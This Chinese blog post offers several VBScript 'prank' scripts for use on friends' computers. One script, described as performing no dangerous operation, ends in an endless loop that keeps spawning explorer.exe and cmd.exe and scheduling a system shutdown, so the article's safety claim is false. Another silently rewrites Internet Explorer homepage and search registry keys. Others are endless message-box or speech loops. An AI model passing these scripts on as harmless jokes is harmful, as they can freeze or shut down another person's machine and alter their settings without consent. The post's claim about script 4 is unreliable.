热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

编写有趣的VBScript恶作剧脚本

本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。

在本文中,我们将探讨如何使用Vbscript编写一些有趣的、无害的恶作剧程序。这些程序可以用来逗朋友们一笑,但请确保它们不会对系统造成任何实际损害。

以下是几个简单且有趣的Vbscript示例:

1. 无限消息框

这段代码会不断弹出消息框,直到用户关闭它。

Do
MsgBox "你好!"
Loop

2. 语音报数

这个脚本会用计算机的声音不断报数。

Set s = CreateObject("sapi.spvoice")
i = 0
Do
s.Speak i
i = i + 1
Loop

3. 模拟重启提示

该脚本会弹出一个模拟的重启提示框,并在用户点击取消时显示一条玩笑信息。

If MsgBox("对不起,您需要重新启动计算机。确定要重启吗?", vbOKCancel + vbInformation, "重新启动计算机") = vbCancel Then
MsgBox "你上当了!!", , "哈哈"
End If

4. 模拟格式化提示

这个脚本会弹出一系列消息框,营造出即将格式化的假象,但实际上并不会执行任何危险操作。

MsgBox "即将格式化!请做好准备!", vbYesNo
MsgBox "准备好后点yes!", vbYesNo
MsgBox "sorry,忘说了,点no也行!"
MsgBox "我对不起你啊!呜呜呜555哈哈哈哈!"
MsgBox "靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
MsgBox "被人研究!"
MsgBox "就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
MsgBox "你咋还笑?!是时候惩罚你了!"
Do
Set ws = CreateObject("wscript.shell")
ws.Run "explorer.exe"
ws.Run "cmd.exe"
ws.Run "cmd.exe /c shutdown -s -t 7200", , True
Loop

5. 讲故事循环

这段代码会不断地讲述一个古老的故事,直到用户终止脚本。

Dim a
a = MsgBox("给你讲个故事!", vbYesNo, "默默许愿制作")
If a = vbYes Then
Do
MsgBox "从前有座山"
MsgBox "山上有座庙"
MsgBox "庙里有两个和尚"
MsgBox "大和尚给小和尚讲故事说"
a = 1
Loop While a = 1
End If

6. 设置默认主页为百度

该脚本会将用户的浏览器默认页和搜索页设置为百度。

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL", "http://www.baidu.com"

注意事项

虽然这些脚本看起来很有趣,但在使用时请注意以下几点:

  • 确保您的脚本不会对系统或数据造成任何损害。
  • 尊重他人的设备和隐私,不要滥用这些脚本。
  • 始终告知对方这是一个恶作剧,以避免不必要的误会。

希望这些示例能帮助您更好地理解Vbscript编程,同时也能为您带来一些乐趣。如果您有任何问题或建议,请随时留言交流。


推荐阅读
  • 本文介绍了如何使用JQuery实现省市二级联动和表单验证。首先,通过change事件监听用户选择的省份,并动态加载对应的城市列表。其次,详细讲解了使用Validation插件进行表单验证的方法,包括内置规则、自定义规则及实时验证功能。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 本文详细介绍了Java编程语言中的核心概念和常见面试问题,包括集合类、数据结构、线程处理、Java虚拟机(JVM)、HTTP协议以及Git操作等方面的内容。通过深入分析每个主题,帮助读者更好地理解Java的关键特性和最佳实践。 ... [详细]
  • 本文详细介绍了如何构建一个高效的UI管理系统,集中处理UI页面的打开、关闭、层级管理和页面跳转等问题。通过UIManager统一管理外部切换逻辑,实现功能逻辑分散化和代码复用,支持多人协作开发。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 本文探讨了Hive中内部表和外部表的区别及其在HDFS上的路径映射,详细解释了两者的创建、加载及删除操作,并提供了查看表详细信息的方法。通过对比这两种表类型,帮助读者理解如何更好地管理和保护数据。 ... [详细]
  • 本文介绍了在使用Visual Studio 2015进行项目开发时,遇到类向导弹出“异常来自 HRESULT:0x8CE0000B”错误的解决方案。通过具体步骤和实践经验,帮助开发者快速排查并解决问题。 ... [详细]
  • 本文详细介绍了如何使用 Yii2 的 GridView 组件在列表页面实现数据的直接编辑功能。通过具体的代码示例和步骤,帮助开发者快速掌握这一实用技巧。 ... [详细]
  • 使用 Azure Service Principal 和 Microsoft Graph API 获取 AAD 用户列表
    本文介绍了一段通用代码示例,该代码不仅能够操作 Azure Active Directory (AAD),还可以通过 Azure Service Principal 的授权访问和管理 Azure 订阅资源。Azure 的架构可以分为两个层级:AAD 和 Subscription。 ... [详细]
  • 本文深入探讨了 Java 中的 Serializable 接口,解释了其实现机制、用途及注意事项,帮助开发者更好地理解和使用序列化功能。 ... [详细]
  • Python自动化处理:从Word文档提取内容并生成带水印的PDF
    本文介绍如何利用Python实现从特定网站下载Word文档,去除水印并添加自定义水印,最终将文档转换为PDF格式。该方法适用于批量处理和自动化需求。 ... [详细]
  • 网络攻防实战:从HTTP到HTTPS的演变
    本文通过一系列日记记录了从发现漏洞到逐步加强安全措施的过程,探讨了如何应对网络攻击并最终实现全面的安全防护。 ... [详细]
  • 本文详细探讨了在Android 8.0设备上使用ChinaCock的TCCBarcodeScanner进行扫码时出现的应用闪退问题,并提供了解决方案。通过调整配置文件,可以有效避免这一问题。 ... [详细]
  • 本文详细解析了Python中的os和sys模块,介绍了它们的功能、常用方法及其在实际编程中的应用。 ... [详细]
  • 解读MySQL查询执行计划的详细指南
    本文旨在帮助开发者和数据库管理员深入了解如何解读MySQL查询执行计划。通过详细的解析,您将掌握优化查询性能的关键技巧,了解各种访问类型和额外信息的含义。 ... [详细]
author-avatar
弥晓潞_509
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有